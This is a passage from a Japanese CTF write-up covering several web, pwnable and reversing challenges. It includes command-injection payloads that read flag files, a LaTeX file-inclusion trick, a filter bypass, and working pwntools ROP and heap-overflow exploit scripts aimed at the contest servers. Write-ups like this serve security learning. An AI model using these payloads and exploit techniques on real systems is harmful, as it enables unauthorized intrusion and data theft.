                elapsed = time.time() - now
                if elapsed > 1.0:
                    flag += c
                    print(flag)
                    break

    ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}

    156 solves

    main.go
    package main
    
    import (
    	"bytes"
    	"net/http"
    
    	"github.com/gorilla/mux"
    )
    
    const (
    	PORT = "8080"
    	DIR  = "static"
    )
    
    type MyResponseWriter struct {
    	http.ResponseWriter
    	lengthLimit int
    }
    
    func (w *MyResponseWriter) Header() http.Header {
    	return w.ResponseWriter.Header().Clone()
    }
    
    func (w *MyResponseWriter) Write(data []byte) (int, error) {
    	filledVal := []byte("?")
    
    	length := len(data)
    	if length > w.lengthLimit {
    		w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
    		return length, nil
    	}
    
    	w.ResponseWriter.Write(data[:length])
    	return length, nil
    }
    
    func middleware() func(http.Handler) http.Handler {
    	return func(h http.Handler) http.Handler {
    		return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
    			h.ServeHTTP(&MyResponseWriter{
    				ResponseWriter: rw,
    				lengthLimit:    10240, // SUPER SECURE THRESHOLD
    			}, r)
    		})
    	}
    }
    
    func main() {
    	r := mux.NewRouter()
    	r.PathPrefix("/images/").Methods("GET").Handler(http.StripPrefix("/images/", http.FileServer(http.Dir(DIR))))
    
    	r.HandleFunc("/", IndexHandler)
    
    	http.ListenAndServe(":"+PORT, middleware()(r))
    }
    handlers.go
    package main
    
    import (
    	"html/template"
    	"log"
    	"net/http"
    	"os"
    	"strings"
    )
    
    type Embed struct {
    	ImageList []string
    }
    
    func IndexHandler(w http.ResponseWriter, r *http.Request) {
    	t, err := template.New("index.html").ParseFiles("./static/index.html")
    	if err != nil {
    		http.Error(w, err.Error(), http.StatusInternalServerError)
    		log.Println(err)
    		return
    	}
    
    	// replace suspicious chracters
    	fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "")
    	fileExtension = strings.ReplaceAll(fileExtension, "flag", "")
    	if fileExtension == "" {
    		fileExtension = "jpeg"
    	}
    	log.Println(fileExtension)
    
    	data := Embed{}
    	data.ImageList, err = getImageList(fileExtension)
    	if err != nil {
    		http.Error(w, err.Error(), http.StatusInternalServerError)
    		log.Println(err)
    		return
    	}
    
    	if err := t.Execute(w, data); err != nil {
    		http.Error(w, err.Error(), http.StatusInternalServerError)
    		log.Println(err)
    		return
    	}
    }
    
    func getImageList(fileExtension string) ([]string, error) {
    	files, err := os.ReadDir("static")
    	if err != nil {
    		return nil, err
    	}
    
    	res := make([]string, 0, len(files))
    	for _, file := range files {
    		if !strings.Contains(file.Name(), fileExtension) {
    			continue
    		}
    		res = append(res, file.Name())
    	}
    
    	return res, nil
    }

    まず flag という名前のついているファイルが存在するか確認してみます。 indexhandler 内部では strings.ReplaceAll(fileExtension, "flag", "") というサニタイズが行われていますが、これは flflagag とすることで突破できます。 https://gallery.quals.beginners.seccon.jp/?file_extension=flflagag ここにアクセスすることで、 pdf ファイルが存在することがわかりました。

    しかしファイルを開いてみると ??...?? と表示されます。ソースコードを見直してみると、 10240bytesを超えたファイルを表示しようとするとこうなるようです。 この上限を回避するため、 Header の Range を使います (https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Range)。 Range: bytes=0-10000 のようなヘッダーをリクエストに付与すると、最初の10001bytesのみ (inclusive なことに注意) が response として返ってきます。これで上限値に達することなくファイルの一部を受け取ることができます。 これを使って2回に分けて pdf を復元し、ファイルを開くとフラグが書かれていました。

    ctf4b{r4nge_reque5t_1s_u5efu1!}

    textex

    123 solves

    app.py
    import io
    import os
    import random
    import shutil
    import string
    import subprocess
    from flask import Flask, request, send_file, render_template
    
    app = Flask(__name__)
    app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024
    
    @app.route("/")
    def top():
        return render_template("index.html")
    
    def tex2pdf(tex_code) -> str:
        # Generate random file name.
        filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)])
        # Create a working directory.
        os.makedirs(f"tex_box/{filename}", exist_ok=True)
        # .tex -> .pdf
        try:
            # No flag !!!!
            if "flag" in tex_code.lower():
                tex_code = ""
            # Write tex code to file.
            with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f:
                f.write(tex_code)
            # Create pdf from tex.
            subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5)
        except:
            pass
        if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"):
            # OMG error ;(
            shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf")
        return f"{filename}"
    
    @app.route("/pdf", methods=["POST"])
    def pdf():
        # tex to pdf.
        filename = tex2pdf(request.form.get("tex_code"))
        # Here's your pdf.
        with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f:
            pdf = io.BytesIO(f.read())
        shutil.rmtree(f"tex_box/{filename}/")
        return send_file(pdf, mimetype="application/pdf")
    
    if __name__ == "__main__":
        app.run(debug=True, host="0.0.0.0", port=4444)

    自分の入力が pdflatex で pdf に変換され、その pdf を読むことができます。

    tex の記法で \input{PATH} とすると PATH のファイルを埋め込むことができるので、これを使うことを考えます。 しかし flag という文字列を直接書き込むと tex_code = "" となってしまいます。これは簡単に回避できて、 \input{fl""ag} などとすると "" の部分が勝手に消えてくれて flag を読み取ることができます。 …と思いきや、なぜか error pdf が表示されてしまいます。手元で実験してみると、 tex の文中に使えない文字 (わからないけど多分 { とか?) が入っているとコンパイルが通らないっぽいです。これを回避するため $\input{fl""ag}$ として数式モード中にフラグを埋め込むことで表示に成功しました。 数式中なので { が消えてしまったり ..._x が下添字になってしまったり、いくつか問題はありますが、フラグを復元するのには十分です。

    ctf4b{15_73x_pr0n0unc3d_ch0u?}

    Util

    460 solves

    main.go
    package main
    
    import (
    	"os/exec"
    
    	"github.com/gin-gonic/gin"
    )
    
    type IP struct {
    	Address string `json:"address"`
    }
    
    func main() {
    	r := gin.Default()
    
    	r.LoadHTMLGlob("pages/*")
    
    	r.GET("/", func(c *gin.Context) {
    		c.HTML(200, "index.html", nil)
    	})
    
    	r.POST("/util/ping", func(c *gin.Context) {
    		var param IP
    		if err := c.Bind(&param); err != nil {
    			c.JSON(400, gin.H{"message": "Invalid parameter"})
    			return
    		}
    
    		commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
    		result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
    
    		c.JSON(200, gin.H{
    			"result": string(result),
    		})
    	})
    
    	if err := r.Run(); err != nil {
    		panic(err)
    	}
    }

    ping -c 1 -W 1 PAYLOAD 1>&2 という形で command injection が可能になっています。例えば PAYLOAD=;ls / とすると ls / が実行されます。 ただし、フォーム上からやると client 側で javascript による validation に引っかかってしまうので、直接 POST します (burpsuite を使いました)。 {"address":";ls /;"} でファイル名を特定したあと、 {"address":";cat /flag_A74FIBkN9sELAjOc.txt;"} でフラグを表示できました。

    ctf4b{al1_0vers_4re_i1l}

    pwnable

    snowdrop

    44 solves

    src.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    #define BUFF_SIZE 0x10
    
    void show_stack(void *);
    
    int main() {
        char buf[BUFF_SIZE] = {0};
        show_stack(buf);
        puts("You can earn points by submitting the contents of flag.txt");
        puts("Did you understand?") ;
        gets(buf);
        puts("bye!");
        show_stack(buf);
    }
    
    void show_stack(void *ptr) {
        puts("stack dump...");
        printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
        puts("========+===================");
        for (int i = 0; i < 8; i++) {
            unsigned long *p = &((unsigned long*)ptr)[i];
            printf(" %06d | 0x%016lx ", i, *p);
            if (p == ptr)
                printf(" <- buf");
            if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
                printf(" <- saved rbp");
            if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
                printf(" <- saved ret addr");
            puts("");
        }
        puts("finish");
    }
    
    __attribute__((constructor))
    void init() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        alarm(60);
    }
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments
    

    gets が使われているので ROP でやりたい放題です。 バイナリを軽くみてみると、静的リンクでコンパイルされています。そのためいつもの libc を使った様々な方法 (GOT から libc address leak -> one gadget など) はできません (必要最低限の関数しかリンクされていないため、多分)。 どんな関数がリンクされているか見てみると、 open, read, write があることがわかったため、これらを ROP でうまく読んであげることでフラグファイルを直接読み取ることができました。

    solve.py
    from pwn import *
    
    io = remote("snowdrop.quals.beginners.seccon.jp", 9002)
    elf = ELF("./chall")
    
    payload = b"A" * 0x18
    payload += p64(0x0000000000401b84)  # pop rdi ; ret
    payload += p64(0x0048e008 + len("You can earn points by submitting the contents of "))
    payload += p64(0x000000000040a29e)  # pop rsi ; ret
    payload += p64(0)
    payload += p64(elf.symbols["open"])
    payload += p64(0x0000000000401b84)  # pop rdi ; ret
    payload += p64(3)
    payload += p64(0x000000000040a29e)  # pop rsi ; ret
    payload += p64(0x004bc2e0)
    payload += p64(0x00000000004017cf)  # pop rdx ; ret
    payload += p64(0x20)
    payload += p64(elf.symbols["read"])
    payload += p64(0x0000000000401b84)  # pop rdi ; ret
    payload += p64(1)
    payload += p64(0x000000000040a29e)  # pop rsi ; ret
    payload += p64(0x004bc2e0)
    payload += p64(0x00000000004017cf)  # pop rdx ; ret
    payload += p64(0x20)
    payload += p64(elf.symbols["write"])
    io.sendlineafter(b"understand?\n", payload)
    io.interactive()

    ctf4b{h1ghw4y_t0_5h3ll}

    simplelist

    32 solves

    src.c
    #define DEBUG 1
    
    #include "list.h"
    
    
    int read_int() {
        char buf[0x10];
        buf[read(0, buf, 0xf)] = 0;
    
        return atoi(buf);
    }
    
    void create() {
        Memo* e = malloc(sizeof(Memo)) ;
    #if DEBUG
        printf("[debug] new memo allocated at %p\n", e);
    #endif
        if (e == NULL)
            err(1, "%s\n", strerror(errno));
    
        printf("Content: ");
        gets(e->content);
        e->next = NULL;
        list_add(e);
    }
    
    void edit() {
        printf("index: ");
        int index = read_int();
        
        Memo *e = list_nth(index);
        
        if (e == NULL) {
            puts("Not found...");
            return;
        }
    
    #if DEBUG
        printf("[debug] editing memo at %p\n", e);
    #endif
        printf("Old content: ");
        puts(e->content);
        printf("New content: ");
        gets(e->content);
    }
    
    void show() {
        Memo *e = memo_list;
        if (e == NULL) {
            puts("List empty");
            return;
        }
        puts("\nList of current memos");
        puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-");
        for (int i = 0; e != NULL; e = e->next) {
    #if DEBUG
            printf("[debug] memo_list[%d](%p)->content(%p) %s\n", i, e, e->content, e->content);
            printf("[debug] next(%p): %p\n", &e->next, e->next);
    #else
            printf("memo_list[%d] %s\n", i, e->content);
    #endif
            i++;
        }
        puts("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\n");
    }
    
    void menu() {
        puts("");
        puts("1. Create new memo");
        puts("2. Edit existing memo");
        puts("3. Show memo");
        puts("4. Exit");
    }
    
    int main() {
        puts("Welcome to memo organizer");
        menu();
        printf("> ");
        int cmd = read_int();
        while (1) {
            switch (cmd) {
                case 1:
                    create();
                    break;
                case 2:
                    edit();
                    break;
                case 3:
                    show();
                    break;
                case 4:
                    puts("bye!");
                    exit(0);
                default:
                    puts("Invalid command");
                    break;
            }
            menu();
            printf("> ");
            cmd = read_int();
        }
    }
    
    __attribute__((constructor))
    void init() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        alarm(60);
    }
    list.h
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <errno.h>
    #include <err.h>
    
    #define CONTENT_SIZE 0x20
    
    typedef struct memo {
        struct memo *next;
        char content[CONTENT_SIZE];
    } Memo;
    
    Memo *memo_list = NULL;
    
    static inline void list_add(Memo *e) {
        if (memo_list == NULL) {
            memo_list = e;
    #if DEBUG
            printf("first entry created at %p\n", memo_list);
    #endif
        } else {
            Memo *tail = memo_list;
            while (tail->next != NULL)
                tail = tail->next;
    #if DEBUG
            printf("adding entry to %p->next\n", tail);
    #endif
            tail->next = e;
        }
    }
    
    static inline Memo *list_nth(int index) {
        if (memo_list == NULL)
            return NULL;
    
        Memo *cur = memo_list;
        int i;
        for (i = 0; i != index && cur->next != NULL; ++i, cur = cur->next);
        if (i != index)
            return NULL;
        else
            return cur;
    }
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    gets が使われているので heap overflow が狙えます。 bins のサイズを変えないように下位の Memo->next を書き換えることで、その書き換えた値のアドレスにある値がわかります。これで GOT 領域を見ることで libc の base address が求まります。 さらに GOT overwrite で puts 関数の代わりに one gadget へ飛ぶようにすることでフラグを得ました。edit の次に puts 関数が呼ばれるときに r15 = 0, rdx = 0 だったので、その条件下の one gadget を使っています。

    solve.py
    from pwn import *
    
    REMOTE = True
    
    elf = ELF("./chall")
    if REMOTE:
        io = remote("simplelist.quals.beginners.seccon.jp", 9003)
        libc = ELF("./libc-2.33.so")
        one_gadget = 0xde78f  # r15 = 0, rdx = 0
    else:
        io = remote("localhost", 1337)
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
        one_gadget = 0xe6c81
    
    
    def create(content: bytes):
        io.sendlineafter(b"> ", b"1")
        io.recvuntil(b"[debug] new memo allocated at ")
        addr_memo = int(io.recvline(), 16)
        io.sendlineafter(b"Content: ", content)
        return addr_memo
    
    
    def edit(idx: int, content: bytes):
        io.sendlineafter(b"> ", b"2")
        io.sendafter(b"index: ", str(idx).encode())
        io.recvuntil(b"[debug] editing memo at ")
        addr_memo = int(io.recvline(), 16)
        io.recvuntil(b"Old content: ")
        old_content = io.recvline().strip()
        if content is None:
            content = old_content
        io.sendlineafter(b"New content: ", content)
        return addr_memo, old_content
    
    
    addr0 = create(b"A")
    addr1 = create(b"B")
    edit(0, b"A" * 0x20 + p64(0x31) + p64(elf.got["puts"] - 8))
    _, addr_got_puts = edit(2, content=None)
    addr_got_puts = u64(addr_got_puts.ljust(8, b"\x00"))
    print(f"{addr_got_puts = :#x}")
    libc.address = addr_got_puts - libc.symbols["puts"]
    print(f"{libc.address = :#x}")
    
    edit(2, content=p64(libc.address + one_gadget))
    io.interactive()

    ctf4b{W3lc0m3_t0_th3_jungl3}

    raindrop

    52 solves

    src.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    #define BUFF_SIZE 0x10
    
    void help() {
        system("cat welcome.txt");
    }
    
    void show_stack(void *);
    void vuln();
    
    int main() {
        vuln();
    }
    
    void vuln() {
        char buf[BUFF_SIZE] = {0};
        show_stack(buf);
        puts("You can earn points by submitting the contents of flag.txt");
        puts("Did you understand?") ;
        read(0, buf, 0x30);
        puts("bye!");
        show_stack(buf);
    }
    
    void show_stack(void *ptr) {
        puts("stack dump...");
        printf("\n%-8s|%-20s\n", "[Index]", "[Value]");
        puts("========+===================");
        for (int i = 0; i < 5; i++) {
            unsigned long *p = &((unsigned long*)ptr)[i];
            printf(" %06d | 0x%016lx ", i, *p);
            if (p == ptr)
                printf(" <- buf");
            if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE))
                printf(" <- saved rbp");
            if ((unsigned long)p == (unsigned long)(ptr + BUFF_SIZE + 0x8))
                printf(" <- saved ret addr");
            puts("");
        }
        puts("finish");
    }
    
    __attribute__((constructor))
    void init() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        help();
        alarm(60);
    }
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    buffer size が 0x10 なのに対し、 read0x30 bytes しているため stack overflow が狙えます。 return address 以降の 0x18 bytes を書き換えることができます。 親切にも rsp 近くの stack 領域を表示してくれるため、 saved rbp から rsp が求まります。 rsp/bin/sh を書き込んでおき、 rsprdi に代入し、 system を呼べばフラグが手に入ります。

    solve.py
    from pwn import *
    
    io = remote("raindrop.quals.beginners.seccon.jp", 9001)
    
    elf = ELF("./chall")
    
    io.recvuntil(b" 000002 | ")
    addr_saved_rbp = int(io.recv(18), 16)
    addr_rsp = addr_saved_rbp - 0x20
    print(f"{addr_rsp = :#x}")
    
    payload = b"/bin/sh"
    payload = payload.ljust(0x18, b"\x00")
    payload += p64(0x0000000000401453)  # pop rdi ; ret
    payload += p64(addr_rsp)
    payload += p64(0x4011e5)
    io.sendafter(b"understand?\n", payload)
    io.interactive()

    ctf4b{th053_d4y5_4r3_g0n3_f0r3v3r}

    BeginnersBof

    155 solves

    src.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <err.h>
    
    #define BUFSIZE 0x10
    
    void win() {
        char buf[0x100];
        int fd = open("flag.txt", O_RDONLY);
        if (fd == -1)
            err(1, "Flag file not found...\n");
        write(1, buf, read(fd, buf, sizeof(buf)));
        close(fd);
    }
    
    int main() {
        int len = 0;
        char buf[BUFSIZE] = {0};
        puts("How long is your name?");
        scanf("%d", &len);
        char c = getc(stdin);
        if (c != '\n')
            ungetc(c, stdin);
        puts("What's your name?");
        fgets(buf, len, stdin);
        printf("Hello %s", buf);
    }
    
    __attribute__((constructor))
    void init() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        alarm(60);
    }
        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    len を大きい値に設定することで stack overflow が狙えます。 return address の場所を確認するのが面倒だったので win 関数のアドレスを何度も書いて雑対応しました…

    solve.py
    from pwn import *
    
    elf = ELF("./chall")
    io = remote("beginnersbof.quals.beginners.seccon.jp", 9000)
    io.sendlineafter(b"name?\n", b"64")
    io.sendafter(b"name?\n", p64(elf.symbols["win"]) * 8)
    io.interactive()

    ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

    reversing

    please_not_debug_me

    48 solves

    ghidra で main 関数を decompile してみます。

    undefined8 main(undefined8 param_1,char **param_2)
    
    {
      int iVar1;
      long lVar2;
      long in_FS_OFFSET;
      uint local_20;
      char *local_18;
      long local_10;
      
      local_10 = *(long *)(in_FS_OFFSET + 0x28);
      lVar2 = syscall(0x13f,&DAT_00102004,0);
      iVar1 = (int)lVar2;
      if (iVar1 == -1) {
        err(1,"Can\'t unpack");
      }
      for (local_20 = 0; local_20 < binary_len; local_20 = local_20 + 1) {
        binary[local_20] = binary[local_20] ^ 0x16;
      }
      write(iVar1,binary,(ulong)binary_len);
      local_18 = (char *)0x0;
      iVar1 = fexecve(iVar1,param_2,&local_18);
      if (iVar1 == -1) {
        err(1,"Can\'t execute");
      }
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }

    binary 変数の各バイトに対して 0x16 で xor を取り、それでできたバイト列を fexecve で実行しているみたいです。 xor を実際に取ってみると ELF ファイルができました。

    入力が正しいかを確認する処理は check 関数で行われています。以下 decompile 結果です。

    void check(char *param_1,undefined8 param_2,undefined8 param_3,uchar *param_4)
    
    {
      long in_FS_OFFSET;
      int local_a8;
      uint local_a4;
      FILE *local_a0;
      undefined8 local_98;
      undefined8 local_90;
      undefined8 local_88;
      undefined8 local_80;
      undefined8 local_78;
      undefined8 local_70;
      undefined8 local_68;
      undefined4 local_60;
      undefined2 local_5c;
      undefined local_5a;
      undefined8 local_58;
      undefined8 local_50;
      undefined8 local_48;
      undefined8 local_40;
      undefined8 local_38;
      undefined8 local_30;
      undefined8 local_28;
      undefined4 local_20;
      undefined2 local_1c;
      undefined local_1a;
      long local_10;
      
      local_10 = *(long *)(in_FS_OFFSET + 0x28);
      local_a8 = 0;
      local_98 = 0;
      local_90 = 0;
      local_88 = 0;
      local_80 = 0;
      local_78 = 0;
      local_70 = 0;
      local_68 = 0;
      local_60 = 0;
      local_5c = 0;
      local_5a = 0;
      local_58 = 0;
      local_50 = 0;
      local_48 = 0;
      local_40 = 0;
      local_38 = 0;
      local_30 = 0;
      local_28 = 0;
      local_20 = 0;
      local_1c = 0;
      local_1a = 0;
      local_a0 = (FILE *)0x0;
      do {
        switch(local_a8) {
        case 0:
          if ((_DAT_00105090 & 0xff) == 0xcc) {
            fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                        /* WARNING: Subroutine does not return */
            exit(1);
          }
          local_a0 = fopen(param_1,"r");
          break;
        case 1:
          if (local_a0 == (FILE *)0x0) {
            err(1,"fopen(\"%s\", \"r\")",param_1);
          }
          break;
        case 2:
          if ((___cxa_finalize & 0xff) == 0xcc) {
            fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                        /* WARNING: Subroutine does not return */
            exit(1);
          }
          fgets((char *)&local_98,0x3f,local_a0);
          break;
        case 3:
          for (local_a4 = 0; (int)local_a4 < 0x28; local_a4 = local_a4 + 1) {
            param_4 = (uchar *)(ulong)((byte)KEY[(int)local_a4] ^ local_a4);
            KEY[(int)local_a4] = (char)((byte)KEY[(int)local_a4] ^ local_a4);
          }
          break;
        case 4:
          RC4((RC4_KEY *)KEY,(size_t)&local_98,(uchar *)&local_58,param_4);
          break;
        case 5:
          if ((___gmon_start__ & 0xff) == 0xcc) {
            fwrite("Why are you trying to debug when there are no bugs?\n",1,0x34,stderr);
                        /* WARNING: Subroutine does not return */
            exit(1);
          }
          memcmp(ENC,&local_58,0x3f);
          if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
            return;
          }
                        /* WARNING: Subroutine does not return */
          __stack_chk_fail();
        }
        local_a8 = local_a8 + 1;
      } while( true );
    }

    KEY を xor で更新したあと、その KEY を使って RC4 で暗号化した結果が ENC と一致するかをチェックしています。 RC4 は可逆で復号可能なので ENC を復号することで元のフラグを復元できます。

    solve.py
    from Crypto.Cipher import ARC4
    
    KEY = list(b'\x62\x31\x34\x62\x65\x37\x60\x32\x69\x3c\x68\x6f\x6a\x3b\x6d\x6e\x71\x26\x23\x2b\x23\x2d\x21\x24\x2c\x2f\x2f\x78\x79\x24\x29\x2f\x44\x11\x16\x45\x10\x10\x1f\x43')
    ENC = list(b'\x27\xd9\x65\x3a\x0f\x25\xe4\x0e\x81\x8a\x59\xbc\x33\xfb\xf9\xfc\x05\xc6\x33\x01\xe2\xb0\xbe\x8e\x4a\x9c\xa9\x46\x73\xb8\x48\x7d\x7f\x73\x22\xec\xdb\xdc\x98\xd9\x90\x61\x80\x7c\x6c\xb3\x36\x42\x3f\x90\x44\x85\x0d\x95\xb1\xee\xfa\x94\x85\x0c\xb9\x9f\x00')
    for i in range(0x28):
        KEY[i] = KEY[i] ^ i
    
    cipher = ARC4.new(key=bytes(KEY))

    ctf4b{D0_y0u_kn0w_0f_0th3r_w4y5_t0_d3t3ct_d36u991n9_1n_L1nux?}

    Ransom

    61 solves

    pcap ファイルを wireshark で見てみると、 rgUAvvyfyApNPEYg というバイト列を使ってフラグが暗号化されていることがわかります。以下、このバイト列を key と呼びます。

    ghidra でバイナリを開くと比較的わかりやすい decompile 結果となります。最後の暗号化は xor で行われているため、 python で再実装し、最後の xor 部分だけ flagenc を入れ替えることでフラグを復元できました。

    solve.py
    key = b"rgUAvvyfyApNPEYg"
    buf = [i for i in range(256)]
    local_18 = 0
    for i in range(256):
        ivar3 = buf[i] + local_18 + key[i % 16]
        uvar1 = (ivar3 >> 0x1f) >> 0x18  # これは何…?
        local_18 = (ivar3 + uvar1 & 0xff) - uvar1
        buf[i], buf[local_18] = buf[local_18], buf[i]
    
    
    enc = b"\x2b\xa9\xf3\x6f\xa2\x2e\xcd\xf3\x78\xcc\xb7\xa0\xde\x6d\xb1\xd4\x24\x3c\x8a\x89\xa3\xce\xab\x30\x7f\xc2\xb9\x0c\xb9\xf4\xe7\xda\x25\xcd\xfc\x4e\xc7\x9e\x7e\x43\x2b\x3b\xdc\x09\x80\x96\x95\xf6\x76\x10"
    local_24 = 0
    local_20 = 0
    xor_key = []
    flag = [None] * len(enc)
    for i in range(len(enc)):
        local_24 += 1
        local_20 = (buf[local_24] + local_20) & 0xff
        buf[local_24], buf[local_20] = buf[local_20], buf[local_24]
        flag[i] = enc[i] ^ buf[(buf[local_20] + buf[local_24] & 0xff)]

    ctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}

    Recursive

    127 solves

    check 関数の ghidra での decompile 結果は以下の通りです。

    undefined8 check(char *param_1,int param_2)
    
    {
      int iVar1;
      int iVar2;
      int iVar3;
      size_t sVar4;
      char *pcVar5;
      
      sVar4 = strlen(param_1);
      iVar3 = (int)sVar4;
      if (iVar3 == 1) {
        if (table[param_2] != *param_1) {
          return 1;
        }
      }
      else {
        iVar1 = iVar3 / 2;
        pcVar5 = (char *)malloc((long)iVar1);
        strncpy(pcVar5,param_1,(long)iVar1);
        iVar2 = check(pcVar5,param_2);
        if (iVar2 == 1) {
          return 1;
        }
        pcVar5 = (char *)malloc((long)(iVar3 - iVar1));
        strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1));
        iVar3 = check(pcVar5,iVar1 * iVar1 + param_2);
        if (iVar3 == 1) {
          return 1;
        }
      }
      return 0;
    }

    これを python で再実装すると、フラグの e 番目の文字列が何になるべきかを特定できます。

    solve.py
    table = list(b'\x63\x74\x60\x2a\x66\x34\x28\x2b\x62\x63\x39\x35\x22\x2e\x38\x31\x62\x7b\x68\x6d\x72\x33\x63\x2f\x7d\x72\x40\x3a\x7b\x26\x3b\x35\x31\x34\x6f\x64\x2a\x3c\x68\x2c\x6e\x27\x64\x6d\x78\x77\x3f\x6c\x65\x67\x28\x79\x6f\x29\x6e\x65\x2b\x6a\x2d\x7b\x28\x60\x71\x2f\x72\x72\x33\x7c\x28\x24\x30\x2b\x35\x73\x2e\x7a\x7b\x5f\x6e\x63\x61\x75\x72\x24\x7b\x73\x31\x76\x35\x25\x21\x70\x29\x68\x21\x71\x27\x74\x3c\x3d\x6c\x40\x5f\x38\x68\x39\x33\x5f\x77\x6f\x63\x34\x6c\x64\x25\x3e\x3f\x63\x62\x61\x3c\x64\x61\x67\x78\x7c\x6c\x3c\x62\x2f\x79\x2c\x79\x60\x6b\x2d\x37\x7b\x3d\x3b\x7b\x26\x38\x2c\x38\x75\x35\x24\x6b\x6b\x63\x7d\x40\x37\x71\x40\x3c\x74\x6d\x30\x33\x3a\x26\x2c\x66\x31\x76\x79\x62\x27\x38\x25\x64\x79\x6c\x32\x28\x67\x3f\x37\x31\x37\x71\x23\x75\x3e\x66\x77\x28\x29\x76\x6f\x6f\x24\x36\x67\x29\x3a\x29\x5f\x63\x5f\x2b\x38\x76\x2e\x67\x62\x6d\x28\x25\x24\x77\x28\x3c\x68\x3a\x31\x21\x63\x27\x72\x75\x76\x7d\x40\x33\x60\x79\x61\x21\x72\x35\x26\x3b\x35\x7a\x5f\x6f\x67\x6d\x30\x61\x39\x63\x32\x33\x73\x6d\x77\x2d\x2e\x69\x23\x7c\x77\x7b\x38\x6b\x65\x70\x66\x76\x77\x3a\x33\x7c\x33\x66\x35\x3c\x65\x40\x3a\x7d\x2a\x2c\x71\x3e\x73\x67\x21\x62\x64\x6b\x72\x30\x78\x37\x40\x3e\x68\x2f\x35\x2a\x68\x69\x3c\x37\x34\x39\x27\x7c\x7b\x29\x73\x6a\x31\x3b\x30\x2c\x24\x69\x67\x26\x76\x29\x3d\x74\x30\x66\x6e\x6b\x7c\x30\x33\x6a\x22\x7d\x37\x72\x7b\x7d\x74\x69\x7d\x3f\x5f\x3c\x73\x77\x78\x6a\x75\x31\x6b\x21\x6c\x26\x64\x62\x21\x6a\x3a\x7d\x21\x7a\x7d\x36\x2a\x60\x31\x5f\x7b\x66\x31\x73\x40\x33\x64\x2c\x76\x69\x6f\x34\x35\x3c\x5f\x34\x76\x63\x5f\x76\x33\x3e\x68\x75\x33\x3e\x2b\x62\x79\x76\x71\x23\x23\x40\x66\x2b\x29\x6c\x63\x39\x31\x77\x2b\x39\x69\x37\x23\x76\x3c\x72\x3b\x72\x72\x24\x75\x40\x28\x61\x74\x3e\x76\x6e\x3a\x37\x62\x60\x6a\x73\x6d\x67\x36\x6d\x79\x7b\x2b\x39\x6d\x5f\x2d\x72\x79\x70\x70\x5f\x75\x35\x6e\x2a\x36\x2e\x7d\x66\x38\x70\x70\x67\x3c\x6d\x2d\x26\x71\x71\x35\x6b\x33\x66\x3f\x3d\x75\x31\x7d\x6d\x5f\x3f\x6e\x39\x3c\x7c\x65\x74\x2a\x2d\x2f\x25\x66\x67\x68\x2e\x31\x6d\x28\x40\x5f\x33\x76\x66\x34\x69\x28\x6e\x29\x73\x32\x6a\x76\x67\x30\x6d\x34')
    
    
    ans = [None] * 0x26
    
    
    def dfs(s, e):
        if len(s) == 1:
            print(e, s[0])
            ans[s[0]] = table[e]
            return True
        l = len(s) // 2
        if not dfs(s[:l], e):
            return False
        if not dfs(s[l:], l*l + e):
            return False
        return True
    
    
    dfs(bytes([i for i in range(0x26)]), 0)

    ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

    WinTLS

    102 solves

    実行してみると、文字列の入力に対し、 Wrong flag... と表示されます。 Wrong flag という文字列で検索をかけ、それの XREF を見てみると、以下の場所が見つかりました。

    LRESULT UndefinedFunction_004018f9(HWND param_1,uint param_2,WPARAM param_3,longlong param_4)
    
    {
      LRESULT LVar1;
